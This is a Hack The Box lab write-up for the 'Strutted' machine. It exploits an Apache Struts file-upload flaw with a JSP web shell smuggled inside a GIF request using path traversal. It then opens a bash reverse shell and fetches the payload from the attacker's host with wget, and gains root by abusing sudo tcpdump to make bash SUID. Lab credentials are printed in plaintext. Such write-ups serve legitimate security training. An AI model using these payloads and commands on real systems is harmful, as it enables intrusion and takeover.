Strutted
is a vulnerable Linux machine featuring a website for a company offering image hosting solutions.
The website provides a Docker container with the version of Apache Struts that is vulnerable to a file upload exploit.
Further enumeration will reveal credentials from a build of Tomcat that we can use to take control of a user on our target machine.
For privilege escalation, we abuse tcpdump
while being used with sudo
to create a copy of the bash
binary with the SUID
bit set, allowing us to gain a root
shell.
https://app.hackthebox.com/machines/Strutted
Enumeration
Target IP: 10.129.231.200 Attacker IP: 10.10.14.92
nmap -sCVS 10.129.231.200
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We don’t have too many ports open here which is a relief. Lets adjust our /etc/hosts
file to include the IP and hostname.
sudo nano /etc/hosts
We head to http://strutted.htb
It looks like we can upload files through this web interface. However, it looks like the application only accept image types (JPG, JPEG, PNG, GIF)
Lets upload an image and intercept it with Burp Suite to see what sort of POST request is made when we upload an image through this service.
Burp Suite
We upload a stock JPG photo
There is not much we can see apart from a jsessionid being created when we upload this stock photo. This means that this application is Java based. Let’s keep this in mind as we continue to enumerate.
Source Code
We have a download option up in the menu of the website.
Downloading this exposes the whole source code behind the web application, and its safe to assume that this website is likely utilizing the same source.
We even get a user guide which is helpful to understand what this web app is supposed to be doing.
In the main directory we find a tomcat-users.xml file.
strutted/tomcat-users.xml
This contains a plaintext password for user admin.
admin:skqKY6360z!Y
Let’s look for vulnerable points of attack that are packaged into this web app.
The classes folder is an interesting location. The struts.xml file reveals that Apache Struts 2.5 is running.
strutted/strutted/target/classes/struts.xml
We find this PoC that we can investigate to see if our web app will be vulnerable.
https://github.com/cloudwafs/s2-067-CVE-2024-53677
upload_url = urljoin(target_url, upload_endpoint)
test_filename = "../../vuln_test.txt"
harmless_content = "S2-067 detection test."
# Attempt to overwrite file name using OGNL binding
files = {
"upload": ("test.txt", harmless_content, "text/plain"),
"top.uploadFileName": test_filename # Attempt filename overwrite
}
# Custom Content-Type boundary
boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": m.content_type
}
logging.info(f"Sending test request to upload endpoint: {upload_url}")
try:
# Send file upload request
response = requests.post(upload_url, headers=headers, data=m, timeout=10)
# Analyze HTTP response
if response.status_code == 200:
logging.info("[INFO] File upload request succeeded.")
if "vuln_test.txt" in response.text:
logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
In this excerpt of the Python script we can understand what is going on. There is an issue with the upload logic in this affected version. A file is uploaded with a directory traversing format, ‘../../vuln_test.txt’
Then via OGNL binding, we attempt to overwrite the original filename. If we receive a 200 status response from this, we know that the target is likely vulnerable.
The web application does validate any files we try to upload. I tried to upload a .jsp file for example, and the response shows that my request was blocked.
Uploading Web Shell via Burp Suite
We will have to find a way around this. The first idea I have is manipulating the magic bytes in a way that we can upload any file under the disguise of the supported file types in the web application.
We are going to code from this web shell to upload onto our target server.
https://github.com/SecurityRiskAdvisors/cmd.jsp
We are going to edit our POST request for whenever we upload a file. In this case, we were uploading a GIF.
Original POST request
Host: strutted.htb
Content-Length: 23238
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryed2FXvVdBn8Nrtmz
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=203A4B8CF1F1BBD64D7ABE6D50970249
Connection: keep-alive
------WebKitFormBoundaryed2FXvVdBn8Nrtmz
Content-Disposition: form-data; name="upload"; filename="test.gif"
Content-Type: image/gif
(more gif data here I removed)
------WebKitFormBoundaryed2FXvVdBn8Nrtmz--
Modified POST request utilizing our GIF magic byte and manipulation of name parameter and form data boundary to upload a web shell.
Host: strutted.htb
Content-Length: 1264
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryed2FXvVdBn8Nrtmz
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=203A4B8CF1F1BBD64D7ABE6D50970249
Connection: keep-alive
------WebKitFormBoundaryed2FXvVdBn8Nrtmz
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/gif
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
------WebKitFormBoundaryed2FXvVdBn8Nrtmz
Content-Disposition: form-data; name="uploadFileName";
../../shell.jsp
------WebKitFormBoundaryed2FXvVdBn8Nrtmz--
Here is the output that we receive when running the modified POST request:
![[Modified POST.png]]
There are a few changes that we made to this POST request to have this exploit work. We had to change the name parameter as well as add a new boundary with the new file name. As seen in the PoC previously as well, we used a file name appended by ../../ (directory traversal) so we can reach the web shell in the root of the web application. We test it and now have access.
Reverse Shell and James Access
Lets see if we can get a reverse shell going.
We upload a simple reverse shell to the server and then run it as seen below:
payload.sh
bash -i >& /dev/tcp/10.10.14.92/5555 0>&1
Then we upload it to our target machine and run it via bash.
wget http://10.10.14.92/payload.sh -O /tmp/payload.sh
bash /tmp/payload.sh
We make sure to set up our listener on port 5555 in our case and we get a hit.
We see a james user account set up. Recall our clear text password that we found earlier in the tomcat_users.xml file.
We attempt to use that password but no luck.
Lets keep looking for any passwords, we can look in the same spot as we did when we downloaded the .zip file to see if it has been updated.
It looks like it has been updated, here is the path to where we can find the new password
/var/lib/tomcat9/conf/tomcat_users.xml
We try to switch to james again but have no luck… recall that port 22 was open however, we did not check neither ports via SSH.
james:IT14d6SSP81k
We have access via SSH!
Privilege Escalation via tcpdump
sudo -l
sudo -l shows us that James has sudo permissions on tcpdump.
We can escalate privileges through this configuration.
https://gtfobins.github.io/gtfobins/tcpdump/
We will run the following commands from gtfobins with slight modifications.
COMMAND='chmod 4777 /bin/bash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
Chmod 4777 (chmod a+rwx,ug+s,+t,g-s,-t) sets permissions so that, (U)ser / owner can read, can write and can execute. (G)roup can read, can write and can execute. (O)thers can read, can write and can execute.
With this, we can run bash -p as James and get to our root flag. pwned